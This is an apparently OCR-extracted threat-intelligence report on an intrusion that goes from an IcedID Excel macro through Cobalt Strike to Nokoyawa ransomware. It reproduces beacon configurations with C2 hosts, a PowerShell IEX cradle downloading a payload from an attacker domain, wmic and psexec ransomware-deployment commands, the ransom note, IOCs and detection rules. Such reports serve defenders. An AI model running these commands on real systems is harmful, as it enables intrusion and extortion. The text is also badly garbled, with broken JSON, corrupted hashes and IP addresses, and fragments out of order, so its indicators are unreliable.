""AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

"crypto_scheme": 0,
"proxy": {

Iy

"type": null,

"username": null,

"password": null,

"behavior": "Use IE settings"

"http_post_chunk": 0,
"uses_cookies": true,

"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\regsvr32.exe",
"spawnto_x64": "%windir%\\sysnative\\regsvr32.exe"
+

"process-inject": {

"allocator": "VirtualAllocEx",
"execute": [
"CreateThread",
"RtlCreateUserThread",
"CreateRemoteThread"
1
"min_alloc": 6133,
"startrwx": false,
"stub": "tUr+Aexqde3zXhpE+LO5KQ==",
"transform-x86": [
"prepend "\\x90\\x90\\x90\\x90\\x90\\x90""
1
"transform-x64": [
"prepend "\\x90\\x90\\x90\\x90\\x90\\x90""
1,

"userwx": false
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"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null

3

"pipename": null,

"smb_frame_header":

""AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

"stage": {
"cleanup": true

i

"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null

}

}
Domain IP Port JA3 JA3s

iconnectgs[.Jcom 50.3.132.232 8081 N/A N/A
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[{

"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UOO3d\uBO3d",

"pipename": null,

"dns_beacon": {
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null

i

"smb_frame_header":

" AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"post_ex": {

"spawnto_x64": "%windir%\\sysnative\\svchost.exe",
"spawnto_x86": "%windir%\\syswow64\\svchost.exe"
+
"stage": {
"cleanup": "true"
i

"process_inject": {
"stub": "snNvHLupDUIob8Qr+6dPTQ\u003d\uee3d",

"transform_x64": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],
"transform_x86": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],

"startrwx": "false",
"min_alloc": "5271",
"userwx": "false",

"execute": ["CreateThread", "RtlCreateUserThread", "CreateRemoteThread"],

"allocator": "vVirtualAllocEx"
i
"uses_cookies": "true",
"http_post_chunk": "o",
"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null
+
"useragent_header": null,
"maxgetsize": "1864478",
"proxy": {
"behavior": "Use IE settings",
"password": null,
"username": null,
"type": null
+

"tcp_frame_header":

" AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"server": {
"publickey":

"MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCT r8AVQMHINOUQC7 X6 58gSUNMYUURAKCMg031PMjQgMIuSBNXKIBNOP1Z67+whv+L9/BM6+0KDXXXEZSEMHXGaD491>

"port": "8es1i",
"hostname": "iconnectgs.com"
+
"beacontype": ["HTTP"],
"kill_date": null,
"license_id": "o",
"jitter": "43",
"sleeptime": "62004",
"http_get": {
"server": {
"output": ["print", "prepend 338 characters", "base64",
3
"client": {
"metadata": [],
"headers": []
}
"verb": "GET",
"uri": "/hr"
i
"cfg_caution": "false",
"host_header": "",

"base64"]
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"crypto_scheme": "0",
"http_post": {
"client": {
"output": [],
"id": [],
"headers": []
3
"verb": "POST",
"uri": "/mobile-home"
}

oo
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UOO3d\uBB3d",
"pipename": null,
"dns_beacon": {
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null
i
"smb_frame_header":
"' AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

"post_ex": {

"spawnto_x64": "%windir%\\sysnative\\svchost.exe",
"spawnto_x86": "%windir%\\syswow64\\svchost.exe"
+
"stage": {
"cleanup": "true"
i

"process_inject": {
"stub": "snNVHLupDUIob8Qr+6dPTQ\u003d\uoe3d",
"transform_x64": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],
"transform_x86": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],

"startrwx": "false",
"min_alloc": "5271",
"userwx": "false",

"execute": ["CreateThread", "RtlCreateUserThread", "CreateRemoteThread"],
"allocator": "VirtualAllocEx"
3
"uses_cookies": "true",
"http_post_chunk": "o",
"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null
+
"useragent_header": null,
"maxgetsize": "1864478",
"proxy": {
"behavior": "Use IE settings",
"password": null,
"username": null,
"type": null
+
"tcp_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

"server": {
"publickey":
"MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCT r8AVQMHINOUGC7x6r58gsuNMYuuRdKcMgo3iPMjQgM1usBNXqKIBNOP1267 +whv+L9/BM6+0KDXXXEZSEMHXGaD491y

"port": "8e81",

"hostname": "iconnectgs.com"
i
"beacontype": ["HTTP"],
"kill_date": null,
"license_id": "0",
"jitter": "43",
"sleeptime": "62004",
"http_get": {

"server": {

"output": ["print", "prepend 338 characters", "base64", "base64"]
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3
"client": {
"metadata": [],
"headers": []
3
"verb": "GET",
"uri": "/hr"
i
"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {
"client": {
"output": [],
"id": [1,
"headers": []
+
"verb": "POST",
"uri": "/mobile-home"
}
1

Domain IP Port JA3

JA3s

N/A 5.8.18.242 443 72a589da586844d7f0818ce684948eea

f176ba63b4d68e576b5ba345bec2c7b7
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[{

"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UOO3d\uBO3d",

"pipename": null,

"dns_beacon": {
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null

i

"smb_frame_header":

" AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"post_ex": {

"spawnto_x64": "%windir%\\sysnative\\rundl132.exe",
"spawnto_x86": "%windir%\\syswow64\\rundl132.exe"
+
"stage": {
"cleanup": "false"
i

"process_inject": {
"stub": "tUr+Aexqde3zXhpE+LO5KQ\u003d\uee3d",
"transform_x64": [],
"transform_x86": [],

"startrwx": "true",
"min_alloc": "o",
"userwx": "true",

"execute": ["CreateThread", "SetThreadContext",

"allocator": "VirtualAllocEx"

+

"uses_cookies": "true",

"http_post_chunk": "o",

"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null

+

"useragent_header": null,

"maxgetsize": "1048576",

"proxy": {
"behavior": "Use IE settings",
"password": null,
"username": null,
"type": null

+

"tcp_frame_header":

"CreateRemoteThread",

"RtlCreateUserThread"],

" AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"server": {
"publickey":

"MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBYQCNOM3nXx+7HBhkbDd+AwFrFisSunK999w2tMOuTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcP118geU4f5I1SPXHWI

"port": "8e",

"hostname": "5.8.18.242"
+
"beacontype": ["HTTP"],
"kill date": null,
"license_id": "305419776",
"jitter": "o",
"sleeptime": "60000",
"http_get": {

"server": {

"output": ["print"]

3
"client": {
"metadata": [],
"headers": []
}
"verb": "GET",
"uri": "/pixel.gif"
i
"cfg_caution": "false",
"host_header": "",
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"crypto_scheme": "0",
"http_post": {
"client": {
"output": [],
"id": [],
"headers": []
+
"verb": "POST",
"uri": "/submit.php"
}

oo
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UOO3d\uBB3d",

"pipename": null,

"dns_beacon": {
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null

i

"smb_frame_header":

" AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"post_ex": {

"spawnto_x64": "%windir%\\sysnative\\rundl132.exe",
"spawnto_x86": "%windir%\\syswow64\\rundl1l32.exe"
+
"stage": {
"cleanup": "false"
i

"process_inject": {
"stub": "tUr+Aexqde3zXhpE+LO5KQ\u003d\uee3d",
"transform_x64": [],
"transform_x86": [],

"startrwx": "true",
"min_alloc": "O",
"userwx": "true",

"execute": ["CreateThread", "SetThreadContext",

"allocator": "VirtualAllocEx"
3
"uses_cookies": "true",
"http_post_chunk": "o",
"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null
+
"useragent_header": null,
"maxgetsize": "1048576",
"proxy": {
"behavior": "Use IE settings",
"password": null,
"username": null,
"type": null
+

"tcp_frame_header":

"CreateRemoteThread",

"RtlCreateUserThread"],

" AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"server": {
"publickey":

"MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBYQCNOM3nXx+7HBhkbDd+AwFrFisSunK999w2tMOuTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcP118geU4f5I1SPXHWI

"port": "443",

"hostname": "5.8.18.242"
i
"beacontype": ["HTTPS"],
"kill_date": null,
"license_id": "305419776",
"jitter": "e",
"sleeptime": "60000",
"http_get": {

"server": {

"output": ["print"]
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3
"client": {
"metadata": [],
"headers": []
3
"verb":
"uri":
i
"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {

"GET",
"/dot.gif"

"client": {
"output": [],
"id": [],
"headers": []
+
"verb": "POST",
"uri": "/submit.php"
}
1
Exfiltration

During the intrusion, the threat actors targeted password documents on network shares. We observed these being taken and opened off

network through the use of canaries. No overt exfiltration was observed so we assess that this occurred over existing command and control

channels.

The threat actors opened the document from the IP:

45.61.139.126

2t 45.61.139.126 oetais »

First 5 2019-01-22 NetBlock 45.61.139.0/24
Las 2023-03-22 ASN AS399629 - BLNWX
Co GB Organization BL Networks

Impact

Threat Actors deployed Nokoyawa ransomware from one of the servers using WMI and PsExec. They first copied the ransomware

binary,k.exe, and a batch script p.bat using WMI:

wmic /node:"TARGET_HOST_IP" /user:"DOMAIN\USER" /password:"PASSWORD" process call create "cmd.exe /c copy

\\SOURCE_SERVER_IP\c$\windows\temp\p.bat c:\windows\temp\"

Command spawned by WmiPrvSE.exe:

cmd.exe /c copy \\SOURCE_SERVER_IP\c$\windows\temp\k.exe c:\windows\temp\

A snippet of SMB network traffic generated by the above command:

T22:45:10.345 C3SPex2aXQudleqr i 50735 8 445 SMB::FILE_OPEN
T22:45:10.345 CyBbmc4PpOENPFT 34 50684 7 445 SME::FILE_OPEN
T22:45:10.345 Cq5CkV3gBhl20xq a4 50677 0 445 SMB::FILE_OPEN
T22:45:10.345 CXu7mk2zCK2TKGY 34 50750 '8 445 SMB::FILE_OPEN
T22:45:10.345 CSRLER3e6FvadgkiSOURCE_HOSTi4 50683 TARGETS 0 445 SMB::FILE_OPEN
T22:45:10.345 CKestM1WxpLfkiRa 4 50723 6 445 SMB::FILE_OPEN
T22:45:10.345 CHCsaN1HHsjeO1iF 4 50682 1 445 SMB::FILE_OPEN
T22:45:10.345 CB6iPT1XwI0j8gEE 4 50758 g 445 SME::FILE_OPEN
T22:45:10.345 COBKUr&WIF3EXPq! 84 50753 21 445 SMB::FILE_OPEN

The p.bat is a simple batch script that runs the k.exe binary with a Base64 encoded configuration:

c:\windows\temp\k.exe --config REDACTED

The redacted parameter used by the "—config" flag decodes to:

Wy
W
\)
W
A
A
L
A

windows\temp\k.exe
windows\temp'\k.exe
windows\temp'\k.exe
windows\temp'\k.exe
windows\temp\k.exe
windows\temp\ k.exe
windows\temp'\ k.exe
windows\temp'\k.exe

windows\temp'k.exe

0
468,99;
468,99;
0
468,99z

0
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{"EXTENSION": "AWAYOKON", "NOTE_NAME":
"1HrYQm+P3IbmyjTop2FKOqUAwOCSQHUFiT+r77bT4w0="",
"programdata", "system volume information", ""], "SKIP_EXTS": [".exe", ".dll",
true, "LOAD_HIDDEN_DRIVES": true, "DELETE_SHADOW": true}

The decoded configuration file shows the ransomware extension, the note name, and the note content encoded in Base64. The threat actors
also configured a number of directories and extensions to skip, and enabled network and hidden drives encryption. The DELETE_SHADOW

"AWAYOKON-readme. txt",

was set to true, in order to delete volume shadow copies.

B Windows PowerShell

ft Corporation. ALl rights r

Install the latest PowerShell for new features and im

PS

How to run:

> \k.exe

"NOTE_CONTENT" :
"SKIP_DIRS": ["windows", "program files",
.ini", ".1lnk", ".url",

"REDACTED",

Windows

ull encryptio

"ECC_PUBLIC":
"program files (x86)",

"appdata",
""1, "ENCRYPT_NETWORK":

Based on the configuration parameters being passed via command line and the code written in C++, the deployment appears to be part of the

1.1 version of the Nokoyawa code base:

compilation date

Attribute Nokoyawa 1.0 Nokoyawa 1.1 Nokoyawa 2.0 Nokoyawa 2.1
(Nevada)

Encryption SECT233R1 + SECT233R1 + X25519 + Salsa20 X25519 +

algorithms Salsaz20 Salsa20 Salsa20

Encryption library Tiny-ECDH Tiny-ECDH %x25519_dalek x25519_dalek

Programming C/C+t C/C+t Rust Rust

language

Encryption Hardcoded Passed via Passed via Hardcoded

Parameters command-line command-line

Import Hashing No Yes No No

CIS Exclusion No No Yes Yes

Architecture x64 x64 x64 x64

Earliest known February 2022 January 2023 September 2022 January 2023

Ransomware sample code signature:
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whhx 8 %

=

----- ail indicators (3/30)

..... P virustotal (warning)

..... > dos-header (64 bytes)
B8 dos-stub (176 bytes)

..... 5> file-header (time-stamp)
..... » optional-header (file-checksum)
..... = directories (7)

..... »  sections (blacklist)

..... = libraries (1/3)

- | imports (31/107)

..... [ 3 exports (n/a)

----- =0 tls-callbacks (1)

s (n/a)

----- sbe strings (30/5308)

. 4T¥ debug (time-starmp)

‘J:J manifest (n/a)

..J11] wversion (n/a)

certificate (n/a)

..... L overlay (n/a)

property value

4DCODC235TRERI48DARERIIDERODII52
OF3457B123ER0636623F583CCARF2720F13A05D6

sha236 T093BEAFFF3837070A89407 C1BF3CEACFE221EDTERE0G9TFECSTEDACIDEDEFDG
md3-without-overlay n/a
shal-without-overlay n/a

sha236-without-overlay n/a

Debug information shows that the binary was generated a few hours before the encryption:

pestudio 9.46 - Malware Initial Assessment - v Swinitor.com - [m] X
file settings about
wh xB8 %
=== Mkexe property value
""" 4 indicators ¢43) sweam©
""" b? . ' b B 5_4 size-of-data 61 bytes
""" os-header (64 bytes) format RSDS
B8 dos-stub (176 bytes) -
..... .+ rich-header (Visual Studic) first-bytes-hex 523344531391 DD 9C 6E A6 9143 B7 DF 32 BB 1ED3 AC DA 0500 00 00 59 3A 5C 6E 6F 6B ...
..... +file-header (Amd54) 2ge >
- optional-header (console) guid 9CDD9113-AB6E-4391-BTDF-32BB1EDSACDA
..... # directories (7) path YAnoko\target\release\deps\noko.pdb
- [» sections (f)

4| libraries (flag)
-4 | imports (flag)

..... # exceptions (1203)
----- =0 tls-callback (1)
..... j} relocations (1462)

..... abc strings (10045) *

stamp 17:48:50 2022 | UTC

size-of-data 20 bytes
format vcFeature
first-bytes-hex 5C 00 00 00 CB 00 00 00 CB 0000 00 00 00 00 00 CB 00 00 00

size-of-data 948 bytes
format PGO
first-bytes-hex 00 00 00 00 00 10 00 00 FO 6F 03 00 2E 74 65 78 74 00 00 00 FO 7F 03 00 ED DE 00 00 2E 74 65 78

stamp 17:48:50 2022 | UTC

sha256: T095BEAFFF5837070A89407C1BF3C6ACF8221EDT7E6E069TFEC5T8DACIDECEFDE cpu: 64-bit  file-type: executable subsystem: console

The ransomware was then deployed at scale using PsExec to encrypt the Windows domain:

psexec.exe \\TARGET_HOST_IP -u DOMAIN\USER -p "PASSWORD" -s -d -h -r mstdc -accepteula -nobanner c:\windows\temp\p.bat

first-bytes-hex 4D 5490 00 03 00 00 00 04 00 00 OO FF FF 00 00 B2 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
first-bytes-text VRPN 4 ST
file-size 468992 (bytes)
size-without-overlay n/a
entropy 6.272
imphash n/a
signature Microsoft Visual C++ 8.0 |
entry-point 4383EC28EBCBO200004883 C428E972FEFFFFCCCCCCCCCCCCCCCCCCCCCCCCCC .,
file-version nfa
description n/a
file-type executable
64-bit
subsystem console
compiler-stamp
debugger-stamp
resources-stamp nfa
exports-stamp n/a
version-stamp n/a
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00:00:.. O o

22:48:38  Proc reat 1 psexec.exe \\ 0 -u " s -d -h - indows\temp\p.bat
22:48:41  Proc 1 . ps e \\ 1-u " s -d -h - windows\temp\p.bat
22:48:41 P 1 . ps e \\ 2 -u " s -d -h - emp\p.bat
22:48:41 P 1 - ps e \\ 1-u " s -d -h - emp\p.bat
22:48:41 P 1 . ps e \\ 6 -u " s -d-h-r emp\p.bat
22:48:41 P 1 . ps e \\ 3 -u " s -d-h-r indows\temp\p.bat
22:48:41 P 1 psi e \\ 5 -u " s -d-h-r emp\p.bat
22:48:41 P 1 psi e \\ 8 -u 5" s -d-h-r emp\p.bat
22:48:41 P 1 ps e \\ 8 -u 5" s -d-h-r emp\p.bat
22:48:41 P 1 psexec.exe \\ 4-u 5" s -d-h -r ndows\temp\p.bat
22:48:41 Process creation 1 psexec.exe \\ 1 -u p " s -d -h ndows\temp\p.bat
22:48:41 Process creation 1 psexec.exe \\ 8 -u p " s -d -h -r mstdc -accepteula -n s\temp\p.bat
22:48:41 Process creation 1 psexec.exe \\ 0 -u p " s -d -h -r mstdc -accepteula -nobann s\temp\p. bat
22:48:41 Process creation 1 psexec.exe \\ 4-u " s -d -h -r mstdc -accepteula -nobann s\temp\p.bat

A ransom message was left in each directory where files were encrypted.
E AWAYOKON-readme.txt.txt - Notepad

File Edit View

Nokoyawa.

If you see this, your files were successfully encrypted.
We advice you not to search free decryption method.
It's impossible. We are using symmetrical and asymmetric encryption.

ATTENTION:
- Don't rename encrypted files.
- Don't change encrypted files.
- Don't use third party software.

To reach an agreement we offer you to visit our Onion Website.
How to open Onion links:
Download TOR Browser from official website.
Open and enter this link:
http://[REDACTED].onion/pay/[REDACTED]
On the page you will see a chat with the Support.
Send your first message.

The faster you contact with us the faster you will get a solution.

After encryption, contact was made with the threat actors using their support site and the price of the ransom was quoted at ~$200,000 USD in
Bitcoin. No ransom was paid as a result of this intrusion.

Timeline
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IcedID Macro Ends in Nokoyawa Ransomware

18:54 UTC IcedID Initial Execution

D

EXCEL.EXE" "C:\Users\<REDACTED>\Downloads\4_202210250456866742 xls"

21:21 UTC Cobalt Strike Executed

|— 18:58 UTC Discovery via IcedID

ipconfig /all

on Beachhead

rundil32 c:\programdata\pl.dil DilRegisterServer

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).
downloadstring('https://aicsoftware[.Jcom:757/coin’))"

€2: 23.29.115.152:757 | 23.29.115.152:8080

21:32 UTC Discovery via Cobalt

systeminfo

nltest /domain_trusts

21:24 UTC Defense Evasion, Privilege
Escalation, and Credential Access

Cobalt Strike Injection into Multiple Processes

Named Pipe Impersonation | cmd.exe /c echo cc91lc05ea5 > \\\pipe\f964d3

Strike on Beachhead

net group "domain admins" /dom
net group "enterprise admins” /dom
whoami /upn

dir \\DC_IP_ADDRESS\c$

21:43 UTC Port Scan Conducted

LSASS Memory Access

— 21:36 UTC Lateral Movement to Domain Controller

Powershell Cobalt Strike Payload Execution

wmic.exe /node:<REDACTED> process call
create "cmd.exe /c powershell.exe -nop -w
hidden -c "IEX ((new-object net.webclient)
downloadstring(https://aicsoftware.com:757/

for SQL Servers

[— Port Scan conducted from Cobalt Strike

\— Scanned for SQL Servers (TCP/1443)

22:16 UTC Command and Control

coin

22:04 UTC Threat Actor Searches
for Password Files on Fileserver

SMB Access from Beachhead

f— New Cobalt Strike Server Observed

\— C2:50.3.132.232:8081

Searches for XLS files with passwords,
canary file reports off network access to
such files

19:27 UTC Credential Access

LSASS access from Cobalt Strike beacon on
Domain Controller

15:55 UTC Discovery, Privilege Escalation,

e

Credential Access

On Domain Controller

net group "Domain Computers” /domain
net group “domain admins” /dom

net group "enterprise admins’ /dom

cmd.exe /c echo 0ald9073d25 > \\\pipe\b22al3

Cobalt Strike beacon access to LSASS.

12:41 UTC Command and Control

8

New Cobalt Strike Server Observed

C2:5.818.242:443

13:26-13:37 UTC Lateral Movement

12:46UTC - 13:30 UTC Domain
Discovery and Collection

cmd.exe /C adget.exe ad.zip

Targeted additional Domain Controller and FileShare Server
Cobalt Strike beacon copied via SMB to C:\Windows\Temp\l.dll
Batch script to execute beacon copied to C:\Windows\Temp\l.bat

WMI from Beachhead -> wmic /node:<REDACTED> process
call create c:\windows\temp\l.bat

cmd.exe /C adfind bat

adfind.exe -f ...

7.exe a-mx3 ad.7z ad_"

14:05 UTC Port Scan Conducted
Remote Desktop Service

16:11-23:38 UTC Discovery and Lateral Movement

|__ ns.bat used to perform DNS lookups for
hosts across environment

I— RDP logins to other servers

Cobalt Strike beacon copied and ran via RDP
session

cmd.exe, /C, copy. 1.dll, \\<REDACTED>\c$\windows\temp\

rundli32.exe 1.dll, DilRegisterServer

Port Scan done from Cobalt Strike

Scanned for TCP/3389

D
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Diamond

L tore RoP and nslookup activity

22:15-22:38 UTC Impact

L RDP logins from threat actor across prior to

22:42 Impact Ransomware Deployed

cmd.exe /K copy p.bat \\<REDACTED>\c$\windows\temp\

cmd.exe /c copy \\<REDACTED: exe

wmic /node:"<REDACTED>" /user:"DOMAIN\USER" /password:"PASSWORD" process call create “cmd,

exe /c copy \\SOURCE_SERVER bat

psexec.exe \\<REDACTED> -u DOMAIN\USER -p "PASSWORD" -s -d -h -r mstdc -

c:\windows\temp\k.exe --config

eyJFWFRFTINJTO4I0IAIQVABWUILTOAi...

-nobanner bat

Model

[— 22:40 UTC Impact

Threat actor stages ransomware on server

prior to deployment

I— 1bat
— 2.bat
[~ 3.bat
[~ 4.bat
] 5.at
I 6.bat

[ psexec.exe | mstdc.exe

— kexe

159.65.169.200 — kicknocisd.com

curabiebarristie.com
IcedID 198.244.180.66 —[
stayersa.art

suaracheza.pics
‘belliecow.wiki
BackConnect VNC  — 13774104108
23.29.115.152 — aicsoftware.com
Cobalt Strike ~E 50.3.132.252 — iconnectgs.com
5.8.18.242

o

WIN-5J00ETDSSPS
Workstation -[
WIN-QUSE6TESQFO

Domain Controllers
Backup Servers

Workstations

IcedID Excel

Scheduled Task Persistance

Cobalt Strike

WMI

PSExec

ADGet

Nokoyawa Ransomware

Indicators

Atomic

Cobalt Strike

50.3.132[.]232:8081 / iconnectgs[.]com
5.8.18[.]242:443

23.29.115[.]152:757 / aicsoftware[.]com
23.29.115[.]152:8080 / aicsoftware[.]com
Powershell Cobalt Strike Downloader

https://aic

IcedID Exce
https://sim

IcedID C2

kicknocisd[
159.65.169[
45.66.248][ .

BackConnect
137.74.104[

software[.]com:757/coin
1 Download URL

ipimif[.]com

. Jcom
.]200

]119:443 / guaracheza[.]pics | belliecow[.]Jwiki
198.244.180.66:443 / curabiebarristie[.]com | stayersal[.]art

.]108:8080

Computed
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1.bat

b5db398832461be8d93fdbdal120088aa
b36748a27b8e68710701286106ad434c9afeabfa
30a334da51d22b2fe6e33970df8d0T81396394de9d3al3c224751aach2202bodb

1.d11

9740f2b8aeacc180d32fc79c46333178
€599¢32d6674c01d65bff6c7710€94b6d1F36869
d3db55cd5677b176eb837a536b53ed8c5eabbfd68f64b88dd083dc9ce9ffbb4de

4_202210250456866742.x1s

d3032968085db665381d9chd35691330
9230520c6dd215e2152bb2e56b2a5d6b45ae8e13
eb84a283ff58906786d63ffe43a8f2728584428f5f7d9972c664f63f8790113

7030270

964c94b217d102e53a227bchc94ae52e
b846e89d0T56851696d50b5e64c6e758ddae3e6a
091886c95ca946aedee24b7c751b5067c5ac875923cabadd3cc9d96lefadb6sd

k.exe

40c9dc2897b6b348da88b23deb0d3952
0f5457b123e60636623f585cc2bf2729f13a95d6
7095beafff5837070a89407c1bf3c6acf8221ed786e0697f6c578d4c3dedefd6

mstdc.exe

7dael150c1df0e01467be3a743775b646
£309b61a8b005b5ceBald3fb58caaa798cfc95f5db
3c19fee379b4882971834a3d38f3f8b86de560114274375560433778cd505748

p.bat

385d21c0438f5b21920aa9eb894740d2
5d2¢17799dfc6717f89cd5f63951829aed038041
e351ba5e50743215e8e99b51260671ca8766886F69d84eabb83e99d55884bc2f

Detections

Network

ET MALWARE Win32/IcedID Request Cookie

ET POLICY OpenSSL Demo CA - Internet Widgits Pty (0)

NF - Malware IcedID BackConnect - Wait Command

NF - Malware IcedID BackConnect - Start VNC command - 11

ET MALWARE Meterpreter or Other Reverse Shell SSL Cert

ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
ET MALWARE Cobalt Strike Malleable C2 Profile (__session__id Cookie)

ET SCAN Behavioral Unusual Port 1433 traffic Potential Scan or Infection
ET POLICY SMB2 NT Create AndX Request For an Executable File

ET RPC DCERPC SVCCTL - Remote Service Control Manager Access

ET POLICY PsExec service created

ET POLICY SMB Executable File Transfer

ET POLICY SMB2 NT Create AndX Request For a .bat File

ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement

Sigma

SIGMA Project Repo

New Process Created Via Wmic.EXE id: 526be59f-a573-4eea-b5f7-f0973207634d

Potential Recon Activity Via Nltest.EXE id: 5cc90652-4cbd-4241-aa3b-4b462fa5a248

Created Files by Office Applications id: c7a74c80-ba5a-486e-9974-ab9e682bc5e4

CobaltStrike Named Pipe id: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2

Suspicious Group And Account Reconnaissance Activity Using Net.EXE id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
PowerShell Download and Execution Cradles id: 85b0b087-eddf-4a2b-b033-d771fa2b9775

Meterpreter or Cobalt Strike Getsystem Service Installation — Security id: ecbc5e16-58e0-4521-9¢60-eb9a7ead4ad34
Credential Dumping Tools Accessing LSASS Memory id: 32d0d3e2-e58d-4d41-926b-18b520b2b32d

Potential Defense Evasion Via Rename Of Highly Relevant Binaries id: Oba1da6d-b6ce-4366-828c-18826c9de23e
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https://github.com/SigmaHQ/sigma

DFIR Report Repo
AdFind Discovery id: 50046619-1037-49d7-91aa-54fc92923604

CHCP CodePage Locale Lookup id: dfbdd206-6cf2-4db9-93a6-0b7e14d5f02f

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/18190/18190.yar

MITRE
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Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Tools

18190 IcedID Macro Ends in Nokoyawa Ransomware

Technigque

T1566.001 Phishing: Spearphishing
Attachment

Microsoft Office Excel

S0483 IcedID

T1204.002 User Execution: Malicious file
Command and Scripting Interpreter: Windows
Command Shell - T1059.003

T1059.004 Command and Scripting
Interpreter: PowerShell

T1059.005 Command and Scripting
Interpreter: Visual Basic

T1047 Windows Management Instrumentation

S0483 IcedID

T1053.005 Scheduled Task/Job: Scheduled
Task

S0154 Cobalt Strike

T1134.001 Access Token Manipulation: Token
Impersonation/Theft
TI055 Process Injection

T1036.003 Masquerading: Rename System
Utilities

T1070.004 Indicator Removal: File Deletion
T1218.011 System Binary Proxy Execution:
Rundll32

T1078 Valid Accounts

T1552.001 Unsecured Credentials: Credentials
in files

T1003.001 OS Credential Dumping: LSASS
Memory

50552 AdFind
S0099 Arp

Chep

Adget

S0359 Nltest
S0039 Net

S0097 Ping

S0096 Systeminfo
S0483 IcedID
S0154 Cobalt Strike

T1087.001 Account Discovery: Local Account
T1087.002 Account Discovery: Domain
Account

T1083 File and Directory Discovery

T1018 Remote System Discovery

T1016 System Network Configuration
Discovery

T1482 Domain Trust Discovery

S0029 PsExec

T1021.001 Remote Services: Remote Desktop
Protocol

T1021.002 Remote Services: SMB/Windows
Admin Shares

T1021.006 Remote Services: Windows
Remote Management

